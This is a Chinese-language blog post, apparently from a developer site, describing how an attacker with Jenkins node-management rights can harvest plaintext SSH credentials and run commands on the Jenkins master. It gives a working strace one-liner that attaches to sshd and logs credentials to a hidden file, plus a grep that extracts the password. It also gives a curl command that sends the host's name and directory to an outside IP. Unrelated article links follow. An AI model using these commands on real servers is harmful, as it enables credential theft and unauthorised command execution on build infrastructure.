Jenkins :添加node权限获取凭据、执行命令

拥有Jenkins agent权限的账号可以对node节点进行操作,通过添加不同的node可以让流水线项目在不同的节点上运行,安装Jenkins的主机默认作为master节点。

1.Jenkins 添加node获取明文凭据

通过添加node节点,本地监听ssh认证,选则凭据(明文)进行ssh认证,拿到密码。

1.新建节点-manage nodes功能

2.填写工作目录,选择通过SSH进行远程节点身份认证,选择抓取带*号的凭据,host key选择不进行验证:

3.主机监听:这里监听主机ssh使用的是strace后门,实际也可以使用其他方式进行:

复制代码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

4.保存节点配置, Jenkins将对主机进行ssh请求:

node节点认证日志(账号密码方式):

  1. 查看接受结果,这种方式获得的密码需要自行判断下起始位置

    grep -E 'read\(6, ".+\0\0\0\.+"' /tmp/.sshd.log

2.通过添加节点执行命令

同样的,在添加节点时可以配置在master上执行命令去进行其他节点认证,也就可以在master上执行恶意命令了。

注意:这里执行curl命令时不能使用````````直接执行系统命令,所以利用时需要更换其他方式。

复制代码
curl -k ip:9090/`hostname`/`pwd`
env

添加节点时也可以从控制器执行命令,Launch method 选择 通过在master上执行命令的方式:

保存然后launch agent:

可以在Log里面看到命令env的输出:

相关推荐
祈祷苍天赐我java之术14 小时前
Maven 从入门到精通
java·maven
weixin_4569042714 小时前
CentOS与Ubuntu的详细区别
linux·ubuntu·centos
没有bug.的程序员14 小时前
Redis 内存管理机制:深度解析与性能优化实践
java·数据库·redis·性能优化·内存管理机制
zfxwasaboy14 小时前
linux Kbuild详解关于fixdep、Q、quiet、escsq
android·linux·ubuntu
小蒜学长14 小时前
基于SpringBoot+Vue的健身房管理系统的设计与实现(代码+数据库+LW)
java·数据库·vue.js·spring boot·后端
Seven9714 小时前
Redis是如何高效管理有限内存的?
java
勇往直前plus14 小时前
Milvus快速入门以及用 Java 操作 Milvus
java·spring boot·embedding·milvus
失散1314 小时前
分布式专题——2 深入理解Redis线程模型
java·数据库·redis·分布式·架构
晓得迷路了14 小时前
栗子前端技术周刊第 97 期 - Viteland:8 月回顾、Redux Toolkit 2.9、Nuxt 4.1...
前端·javascript·nuxt.js
前端双越老师14 小时前
前端开发 AI Agent 智能体,需要掌握哪些知识?
前端·node.js·agent